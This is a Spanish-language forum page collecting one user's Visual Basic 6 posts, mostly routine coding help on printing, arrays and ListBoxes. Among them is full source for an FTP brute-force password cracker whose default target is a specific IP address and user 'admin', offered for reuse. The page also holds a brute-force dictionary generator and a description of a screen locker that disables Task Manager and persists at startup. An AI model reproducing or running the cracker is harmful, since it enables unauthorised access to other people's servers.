• Viernes 1 de Marzo de 2024, 15:11

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - 79137913

Páginas: [1]
1
Visual Basic 6.0 e inferiores / Re:[SOURCE] Block Computer
« en: Miércoles 23 de Mayo de 2012, 16:44 »
HOLA!!!

Sorry por el bumping pero me habia equivocado de nombre.

GRACIAS POR LEER!!!

2
Visual Basic 6.0 e inferiores / [SOURCE] Block Computer
« en: Martes 15 de Mayo de 2012, 13:42 »
HOLA!!!

Antes que nada, el codigo esta un poco desordenado pero funciona perfect.

El programa es perfecto para cuando uno no quiere que accedan a la pc mientras uno no esta.

Posee Calculadora integrada, Calendario y Tetris

Si la pc se reinicia, el Programa al iniciar sesion se activa nuevamente.
Bloquea el administrador de tareas.
Queda "Always on top"
Te dice la fecha y la hora.

Metodos para Anularlo, bueno simple, entrar en modo a prueba de fallos y borrar o mover el exe. (o borrar el .bat que se crea en la carpeta inico).

Una captura:



Atencion:

Como cerrarlo?

En el campo Nota1 poner el numero de dia en los primeros 2 caracteres
En el campo Nota2 poner el numero de mes en los primeros 2 caracteres
En el campo Nota3 poner el numero de año en los primeros 4 caracteres
(en el caso del mes y el dia , si son menores a 10 habra que poner un 0 antes del numero)

Ahi el boton salir funcionara...

Presionamos salir (dblclick)

Y en contraseña ponemos la hora y los minutos seguidos de "7913"

Presionamos salir y listo.
Código: [Seleccionar]
Ejemplo: hoy es 21/3/2011 y son las 02:51 pm

En nota1: "21" o "21 hola como andas"
En nota2: "03" o "03 todo bien"
En nota3: "2011" o "2011 si si"
En pass : "14517913"

Descargar URL:
http://adf.ly/8YWHv

Puede llegar a ser detectado, igual tienen el codigo para verificar que funciona sin ninguna mala intencion ;)

GRACIAS POR LEER!!!

3
Visual Basic 6.0 e inferiores / [SOURCE] Brute Force Dictionary Creator 7913
« en: Miércoles 18 de Abril de 2012, 13:51 »
HOLA!!!

Bueno... es un creador de diccionarios ni mas ni menos.

Siguiendo... les dejo una captura, el source y el binario.

Es mas para ejemplo que para usarlo, pero si no tenemos nada funciona :P.



Código

Código: Visual Basic
  1. Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
  2. Const Num As String = "0123456789"                   'Numeros
  3. Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
  4. Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
  5. Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
  6. Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
  7. Dim Cad As String                                    'Cadena entera de caracteres
  8. Dim X As Long                                        'Para los Bucles
  9.  
  10. Private Sub Inicio()
  11. Dim Letras() As String
  12. Dim Posiciones() As Long
  13. Dim Palabras() As String
  14. Dim a As Long
  15. Dim CT As Long
  16. Dim CantPos As Long
  17. Dim CantLet As Long
  18.     Letras = CharSplit7913(Cad)
  19.     CantLet = UBound(Letras)
  20.     Open "C:\Dic7913.txt" For Output As #1
  21.     Close #1
  22.     ReDim Palabras(1000)
  23.     For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)
  24.         CantPos = MinMaxL(0) + a - 1
  25.         ReDim Posiciones(CantPos)
  26.         Do
  27.         For X = 0 To CantPos
  28.             Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))
  29.         Next
  30.         CT = CT + 1
  31.         Posiciones(0) = Posiciones(0) + 1
  32.         For X = 0 To CantPos - 1
  33.             If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1
  34.         Next
  35.         If CT = 1001 Then
  36.             Open "C:\Dic7913.txt" For Append As #1
  37.                 For X = 0 To 1000
  38.                     Print #1, Palabras(X)
  39.                 Next
  40.             Close #1
  41.             ReDim Palabras(1000)
  42.             CT = 0
  43.         End If
  44.         If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado
  45.         Loop
  46. Terminado:
  47.     Next
  48.     If CT <> 0 Then
  49.         Open "C:\Dic7913.txt" For Append As #1
  50.             For X = 0 To CT
  51.                 Print #1, Palabras(X)
  52.             Next
  53.         Close #1
  54.         CT = 0
  55.     End If
  56.     MsgBox "Terminado", vbInformation, "Atencion"
  57. End Sub
  58.  
  59. Private Sub Caracteres_Click(Index As Integer)
  60.     'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio
  61.    If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"
  62. End Sub
  63.  
  64. Private Sub Go_Click()
  65. Dim FlagCheck As Boolean
  66.     'Comprobacion de los minimos y maximos de longitud
  67.    If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
  68.     If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
  69.     If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub
  70.     'Comprobacion de los checkboxes, minimo uno debe estar tildado
  71.    For X = 0 To 6
  72.         If Caracteres(X).Value = 1 Then FlagCheck = True
  73.     Next
  74.     If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub
  75.     Cad = vbNullString 'Vacio el string Cad por si estaba lleno
  76.    'Lleno cad con la seleccion del usuario
  77.    If Caracteres(0).Value = 1 Then Cad = Num
  78.     If Caracteres(1).Value = 1 Then Cad = Cad & Sym
  79.     If Caracteres(2).Value = 1 Then Cad = Cad & Min
  80.     If Caracteres(3).Value = 1 Then Cad = Cad & Max
  81.     If Caracteres(4).Value = 1 Then Cad = Cad & SpL
  82.     If Caracteres(5).Value = 1 Then Cad = Cad & SpU
  83.     If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text
  84.     MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"
  85.     Call Inicio ' llamo al inicio de proceso
  86. End Sub
  87.  
  88. Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)
  89.     If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.
  90. End Sub
  91.  
  92. Private Function CharSplit7913(expression As String) As String()
  93.     Dim lExp     As Long
  94.     Dim ExpB()   As Byte
  95.     Dim AuxArr() As String
  96.     ExpB = expression
  97.     lExp = UBound(ExpB)
  98.     ReDim AuxArr(lExp)
  99.     For X = 0 To lExp Step 2
  100.         AuxArr(X / 2) = ChrW(ExpB(X))
  101.     Next
  102.     ReDim Preserve AuxArr(Int(lExp / 2))
  103.     CharSplit7913 = AuxArr
  104. End Function



Descargar Source y Binario:
http://adf.ly/7Wsf8

GRACIAS POR LEER!!!

4
Visual Basic 6.0 e inferiores / Re: totito la progra
« en: Viernes 13 de Mayo de 2011, 21:00 »
HOLA!!!

TA-TE-TI.

GRACIAS POR LEER!!!

5
Visual Basic 6.0 e inferiores / Re: Control Cwgraph en visual basic 6.0
« en: Viernes 27 de Agosto de 2010, 19:22 »
Y, POR QUE NO GRAFICAS EN UN PICTUREBOX, AHI NO VAS A TENER NINGUN INCONVENIENTE

6
Visual Basic 6.0 e inferiores / Re: CRACKER ME LO REVISAN?
« en: Miércoles 4 de Agosto de 2010, 16:35 »
GENIO GRACIAS!!!

7
Bueno, te paso a explicar, primero vas a necesitar hacer un form con fondo blanco donde se encuentren todos los componentes que tiene el data report y en su debido sitio, despues de eso, un modulo para guardar variables de respaldo, y por ultimo codigo en el data report.

Primero: EL FORM
Aca ubicamos:
                     Un textbox que simulara ser un label editable. (uno por cada label)
                     Un label que simulara ser un el area donde se escriben los datos de la Bd. (uno por cada columna)
                     Una linea que representa cada linea del reporte. (uno por cada linea)
                     Un shape que representa cada shape del reporte. (uno por cada shape)
                     Una imagen que representa cada imagen del reporte. (uno por cada imagen)

Terminado esto hace que se puedan arrastrar a gusto por el form.
Y por ultimo toma las propiedades de left y top de cada uno, eso guardalo en variables dentro del modulo

Segundo: EL MODULO
Aca ubicamos 2 variables (o un vector como mas te guste) por cada control que ubicamos en el form (cada una representa X e Y)

Tercero: EL DATAREPORT
Aca vas a ver el codigo y pones:

Código: Visual Basic
  1.  
  2. Private Sub DataReport_Activate()
  3. label1.left = VARIABLE DE LEFT DEL TEXTBOX
  4. label1.top = VARIABLE DE TOP DEL TEXTBOX
  5. line1.left = VARIABLE DE LEFT DE LA LINEA
  6. line1.top = VARIABLE DE TOP DE LA LINEA
  7. ' Y ASI CON TODOS LOS CONTROLES
  8. End Sub
  9.  
  10.  


ESPERO QUE TE HAYA SERVIDO IGUAL YO SOY DE COMPLICARME XD.

NO  :hitcomp: CONTINUA  :comp:

SUERTE!!!

BUENO, VOY A SEGUIR LABURANDO  :brickwall:  SINO EL JEFE ME PUEDE AGARRAR  XP

8
No hay problema ;-)

9
HOLA!!!
Mira, no creo que nos tengas como expertos en VB6 como dice tu mensaje ya que lo googlee con cadena exacta y lo encontre en 3 foros mas, sinceridad aunque sea.

Pero no importa, para mi, no deberias usar un control data report, yo para mis programas imprimo mediante codigo, aca te dejo el ejemplo que me inspiro para hacer esto, y lo que deberias hacer es un form con labels para arrastrar, de tal manera que luego genere el reporte mediante la posicion de los labels ;).

Ahh y aca el MSDN de Microsoft que explica como usar la Clase Priter, es bastante facil.

msdn.microsoft.com/ja-jp/library/microsoft.visualbasic.powerpacks.printing.compatibility.vb6.printer_members.aspx

Código: Visual Basic
  1.  
  2. Private Type lineas
  3.     Tarea As String
  4.     Linea As String
  5.     Cant As String
  6.     PrecioUnitario As String
  7.     PrecioTotal As String
  8.     Descripcion As String
  9.     Nhoras As String
  10. End Type
  11.  
  12. Dim Filas() As lineas
  13.  
  14. Dim x As Integer 'numero de registro de "Filas"
  15. Dim I As Integer
  16.  
  17.  
  18. Dim Contrato As String
  19. Dim Contratista As String
  20. Dim Ejec As String
  21. Dim Fenvio As String
  22. Dim Tarea As String
  23. Dim Tags As String
  24. Dim DescripcionTrabajos As String
  25.  
  26. Private Sub Form_Load()
  27.  
  28.     x = 2
  29.  
  30. ReDim Filas(x)
  31.  
  32. 'rellenamos los datos de las variables de prueba
  33.  
  34.     Contrato = "199827"
  35.     Contratista = "Antonio Fdez."
  36.     Ejec = "324"
  37.     Fenvio = "19/11/06"
  38.     Tarea = "EEAACC"
  39.     Tags = "PAOEIRD"
  40.     DescripcionTrabajos = "Inmunizacion de las bacterias gastroinservibles " & _
  41.                           "de la traqueotomizacion"
  42.  
  43.     Filas(0).Tarea = "111"
  44.     Filas(0).Linea = "11"
  45.     Filas(0).Cant = "1111"
  46.     Filas(0).PrecioUnitario = "11111 €"
  47.     Filas(0).PrecioTotal = "11111 €"
  48.     Filas(0).Descripcion = "Rendicion incondicional de las almorranas involuntarias"
  49.     Filas(0).Nhoras = "34 H"
  50.  
  51.     Filas(1).Tarea = "222"
  52.     Filas(1).Linea = "22"
  53.     Filas(1).Cant = "2222"
  54.     Filas(1).PrecioUnitario = "22222 €"
  55.     Filas(1).PrecioTotal = "22222 €"
  56.     Filas(1).Descripcion = "Caperucita solo tiene 16 primaveras sin flores" & _
  57.                             " sin vida, va tanto el cantaro a la fuente que " & _
  58.                             " se acaba rompiendo esternocleidomastoideo de la sin razon"
  59.     Filas(1).Nhoras = "34 H"
  60.  
  61.     Filas(2).Tarea = "333"
  62.     Filas(2).Linea = "33"
  63.     Filas(2).Cant = "3333"
  64.     Filas(2).PrecioUnitario = "33333 €"
  65.     Filas(2).PrecioTotal = "333333 €"
  66.     Filas(2).Descripcion = "quiero volar lejos de aqui escapar"
  67.     Filas(2).Nhoras = "34 H"
  68.  
  69.     Impresion.Width = 297 'tamaño del formulario (solo para hacer pruebas)
  70.     Impresion.Height = 210 'tamaño del formulario (solo para hacer pruebas)
  71.  
  72.     Me.Show
  73.  
  74.     IMPRIMIR
  75.  
  76. End Sub
  77.  
  78.  
  79. Public Function IMPRIMIR()
  80.  
  81. Dim PosY As Integer 'posicion columna
  82. Dim PosX As Integer 'posicion linea
  83.  
  84. Dim Linea As Integer 'el tamaño maximo de la linea
  85. Dim Text As String 'va guardando el texto por bloques
  86. Dim Caracter As String 'recoge los caracteres
  87. Dim Palabra As String 'recoge la palabra
  88.  
  89. Dim Dia As String
  90. Dim Mes As String
  91. Dim Ano As String
  92.  
  93.     'le decimos la orientacion de las paginas, en este caso apaisada
  94.     Printer.Orientation = 2
  95.  
  96.     'modo de escala en milimetros
  97.     Printer.ScaleMode = 6
  98.  
  99.     'le decimos el tamaño de la escala, en este caso dinA4 en milimetros
  100.     Printer.ScaleWidth = 297
  101.     Printer.ScaleHeight = 210
  102.  
  103.     'el tamaño de la letra
  104.     Printer.FontSize = 9
  105.  
  106.     Printer.FontBold = False
  107.  
  108.     'funcion colocar: el primer valor es el texto, el segundo la posicion _
  109.      en la fila y el tercero la posicion en la columna-> colocar texto, PosicionFila, _
  110.      PosicionColumna
  111.  
  112.     colocar Contrato, 5, 27
  113.     colocar Contratista, 41, 27
  114.     colocar Ejec, 100, 27
  115.  
  116.     'Desglosamos fecha envio (ajustamos a las marcas del impreso / /)
  117.  
  118.     Dia = Mid$(Fenvio, 1, 2)
  119.     Mes = Mid$(Fenvio, 4, 2)
  120.     Ano = Mid$(Fenvio, 7, 2)
  121.  
  122.     colocar Dia, 228, 27
  123.     colocar Mes, 238, 27
  124.     colocar Ano, 248, 27
  125.  
  126.     colocar Tarea, 1, 50
  127.     colocar Tags, 21, 50
  128.     colocar DescripcionTrabajos, 51, 50
  129.  
  130.     PosY = 190
  131.  
  132.     'marcamos el tamaño máximo que puede tener la descripcion por linea
  133.     Linea = 41
  134.  
  135.     For I = 0 To x
  136.         colocar Filas(I).Tarea, 1, PosY
  137.         colocar Filas(I).Linea, 21, PosY
  138.         colocar Filas(I).Cant, 35, PosY
  139.         colocar Filas(I).PrecioUnitario, 52, PosY
  140.         colocar Filas(I).PrecioTotal, 74, PosY
  141.         colocar Filas(I).Nhoras, 183, PosY
  142.  
  143.         Palabra = ""
  144.         Text = ""
  145.         x = 1
  146.  
  147.         'imprimimos la descripcion (segun el tamaño de linea)
  148.  
  149.         'Funcionamiento: le damos un texto de cualquier tamaño y
  150.         'esta parte nos lo ajustará según el tamaño de linea que escojamos
  151.         'en tantas filas como sea necesario, respetando las palabras completas.
  152.  
  153.         Do
  154.  
  155.             Caracter = Mid(Filas(I).Descripcion, x, 1)
  156.  
  157.             If Caracter <> " " And x <> Len(Filas(I).Descripcion) Then
  158.                 Palabra = Palabra & Caracter
  159.             Else
  160.                 'en el case que se ajuste a la linea
  161.                 If Len(Text) + Len(Palabra) = Linea Then
  162.                     colocar Text & " " & Palabra, 98, PosY
  163.                     Palabra = ""
  164.                     Text = " "
  165.                     PosY = PosY + 5
  166.                 'en el caso que sea mayor que la linea
  167.                 ElseIf Len(Text) + Len(Palabra) > Linea Then
  168.                     colocar Text, 98, PosY
  169.                     PosY = PosY + 5
  170.                     Text = Palabra
  171.                     Palabra = ""
  172.                 'en el case que sea la ultima linea
  173.                 ElseIf x = Len(Filas(I).Descripcion) Then
  174.                     colocar Text & " " & Palabra & Right(Filas(I).Descripcion, 1), 98, PosY
  175.                     PosY = PosY + 5
  176.                     Text = ""
  177.                     Palabra = ""
  178.                 Else 'todavía es menor que el tamaño de la linea
  179.                     Text = Text & " " & Palabra
  180.                     Palabra = ""
  181.                 End If
  182.             End If
  183.  
  184.             x = x + 1
  185.    
  186.         Loop Until x > Len(Filas(I).Descripcion)
  187.     Next
  188.            
  189.     ' mandar el trabajo a imprimir
  190.     Printer.EndDoc
  191.  
  192. End Function
  193.  
  194.  
  195. Private Function colocar(texto As String, x As Integer, Y As Integer)
  196.  
  197.     Printer.CurrentX = x
  198.     Printer.CurrentY = Y
  199.     Printer.Print texto
  200.  
  201. End Function
  202.  
  203.     'Para evitar gastar papel "a lo tonto", lo mejor es hacer pruebas en un _
  204.     'formulario para ello, comentar las lineas:
  205.         'Printer.Orientation
  206.         'Printer.EndDoc
  207.     'y sustituir en todo el formulario "printer" por el nombre del formulario, _
  208.     'en este caso
  209.  
  210.  


SUERTE!!!

No desistas pero si vas a un foro no seas adulador para que respondan tus preguntas, si no te sirve responde de nuevo aca y te digo la manera facil de editar un data report  :D  , pero de verdad te recomiendo que uses el metodo printer, es mucho mas versatil.

10
Visual Basic 6.0 e inferiores / Re: CRACKER ME LO REVISAN?
« en: Lunes 2 de Agosto de 2010, 20:54 »
POR FAVOR, EL PROBLEMA ES QUE EL SERVIDOR SE DESCONECTA EN EL 4 INTENTO INVALIDO, PERO NO ME AVISA, SI AVISARIA, PODRIA HACER LA RECONECCION, PLZZ AYUDA, AUNQUE SEA EL MODERADOR QUE AYUDE.

11
Visual Basic 6.0 e inferiores / BASE DE DATOS O TEXTO PLANO
« en: Viernes 30 de Julio de 2010, 17:00 »
Que les parece mejor usar bases de datos clasicas (.mdb) o utilizar bases de datos "propias" en archivos de texto plano

Pido opinion solamente.

GRACIAS!!!

12
Visual Basic 6.0 e inferiores / Re: Dudas con vectores
« en: Viernes 30 de Julio de 2010, 14:47 »
HOLA!!!


cuando declaras el vector lo declaras asi:
Código: Visual Basic
  1.  dim  Vector() as variant 'le puse nombre vector por que si y entre los parentesis no va nada, y variant por que no se que tipo de dato ingresas en el vector
  2.  

o lo declaras asi:
Código: Visual Basic
  1.  Private  Vector() as variant 'le puse nombre vector por que si y entre los parentesis no va nada, y variant por que no se que tipo de dato ingresas en el vector
  2.  

despues cuando lo usas usas la funcion "redim"
Código: Visual Basic
  1.  redim vector(n) 'le puse nombre vector por que si, y entre los parentesis va n osea el numero de "casillas" que debe tener tu vector
  2. '####################################¡¡¡ATENCION!!!####################################
  3. 'si el vector tiene datos dentro el numero que ingresas en el redim no puede ser menor al ultimo valor del vector
  4. 'osea si yo tengo el vector redimensionado a 25 y tengo datos del 0 al 20 no lo puedo redimensionar a 15 siempre mas que 20
  5. '####################################¡¡¡ATENCION!!!####################################
  6.  



GRACIAS POR LEER

13
Visual Basic 6.0 e inferiores / Re: Datos Repetidos en un ListBox
« en: Miércoles 28 de Julio de 2010, 17:52 »
JAJAJA, ME VOLVI LOCO PERO SALIO!!!

era mas simple de lo que pensaba

Código: Visual Basic
  1.  
  2. Private Sub Command1_Click()
  3. Dim Cambio As Boolean, X As Byte, Y As Byte
  4.  
  5. Cambio = True 'Hace que lo de abajo se ejecute
  6.  
  7. Do While Cambio = True 'Se repetira hasta que no haga algun cambio
  8. Cambio = False
  9. For Y = 0 To (List1.ListCount - 1) ' Mira cada elemento desde el principio
  10. For X = Y + 1 To (List1.ListCount - 1) 'Mira desde el siguiente elemento hasta el final
  11. If List1.List(X) = List1.List(Y) Then 'Compara si son iguales
  12. List1.RemoveItem (X) 'Como si lo son procede a borrar el segundo elemento
  13. Cambio = True 'Le indica a vb que repita el proceso por otra posible repeticion
  14. End If
  15. Next X
  16. Next Y
  17. Loop
  18.  
  19. End Sub
  20.  
  21.  



SUERTE!!!


QUE TE SIRVA

14
Visual Basic 6.0 e inferiores / Re: Necesito sugerencias con el codigo de un juego
« en: Miércoles 28 de Julio de 2010, 17:22 »
si, usa una matriz de controles en vez de labels sueltos
osea
label(0)
label(1)
bla
bla
label(40)

15
Visual Basic 6.0 e inferiores / Re: Abrir .pdf desde Visual Basic
« en: Miércoles 28 de Julio de 2010, 17:18 »
HOLA!!!

Probaste usar un ocx que cargue el pdf directamente dentro del form?

esa seria una alternativa

sino antes de abrirlo movelo a un directorio especifico que tengas

SUERTE!!!

16
Visual Basic 6.0 e inferiores / CRACKER ME LO REVISAN?
« en: Miércoles 28 de Julio de 2010, 16:42 »
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  :comp: .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

el codigo del form es este:

Código: Visual Basic
  1.  
  2. Public CT As Integer
  3. Public FAILED As String
  4. Public ACUSER As String
  5. Public USER As String
  6. Public CONTROL As Integer
  7.  
  8. Private Sub Form_Load()
  9.     CONTROL = vbNo
  10.     Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  11.     Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  12.     FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  13.     ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  14.     USER = InputBox("USUARIO", "INSERTE", "admin")
  15.     Call BORRAR_VECTOR
  16.     Telnet.Connect
  17. End Sub
  18.  
  19. Private Sub Form_Resize()
  20.     If Me.Height > 701 Then
  21.         inx.Width = Me.Width
  22.         inx.Height = Me.Height - 700
  23.         outx.Width = Me.Width
  24.         outx.Top = inx.Height
  25.     End If
  26. End Sub
  27.  
  28. Private Sub Form_Unload(Cancel As Integer)
  29.     Telnet.Close
  30.     End
  31. End Sub
  32.  
  33. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  34.     Dim strData As String
  35.     Telnet.GetData strData
  36.     inx.Text = inx.Text & strData
  37.     If CONTROL = vbNo Then
  38.         Call ANALIZAR(Mid(strData, 1, 3))
  39.     End If
  40.    
  41.     If CT Mod 2 Then
  42.         Call NUEVAPASS
  43.             outx.Text = "pass " & PASS
  44.             Call outx_KeyPress(vbKeyReturn)
  45.         Else
  46.             outx.Text = "user " & USER
  47.             Call outx_KeyPress(vbKeyReturn)
  48.     End If
  49. End Sub
  50.  
  51. Private Sub outx_KeyPress(KeyAscii As Integer)
  52.     If KeyAscii = vbKeyReturn Then
  53.         Telnet.SendData outx.Text & vbCrLf
  54.         outx.Text = ""
  55.         outx.SetFocus
  56.     End If
  57. End Sub
  58.  
  59. Private Sub ANALIZAR(CODE As String)
  60.     CT = CT + 1
  61.     If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  62.         CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  63.     End If
  64. End Sub
  65.  
  66.  

Y el codigo del modulo es:
Código: Visual Basic
  1.  
  2. Dim PASSNUM(17) As Integer
  3. Dim PASSLET(17) As String
  4. Public PASS As String
  5.  
  6. Public Sub BORRAR_VECTOR()
  7.     PASSNUM(1) = 47
  8.     For X = 2 To 16
  9.         PASSNUM(X) = 0
  10.     Next X
  11. End Sub
  12.  
  13. Public Sub NUEVAPASS()
  14.     PASSNUM(1) = PASSNUM(1) + 1
  15.     Call ORDENAR
  16.     Call CONVERTIR
  17.     Call CONCATENAR
  18. End Sub
  19.  
  20. Private Sub ORDENAR()
  21.     For X = 1 To 16
  22.         If PASSNUM(X) = 124 Then
  23.             If PASSNUM(X + 1) = 0 Then
  24.                 PASSNUM(X + 1) = 47
  25.             End If
  26.             PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  27.         End If
  28.     Next X
  29.     If PASSNUM(17) = 1 Then
  30.         MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  31.         End
  32.     End If
  33. End Sub
  34.  
  35. Private Sub CONVERTIR()
  36.     For X = 1 To 16
  37.         If PASSNUM(X) <> 0 Then
  38.             PASSLET(X) = Chr(PASSNUM(X))
  39.         End If
  40.     Next X
  41. End Sub
  42.  
  43. Private Sub CONCATENAR()
  44.     PASS = ""
  45.     For X = 1 To 16
  46.         PASS = PASS & PASSLET(X)
  47.     Next X
  48. End Sub
  49.  
  50.  


Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta  :hitcomp:




 :)  :)  :)  :)  :)  GRACIAS DE ANTEMANO  :)  :)  :)  :)  :)

Páginas: [1]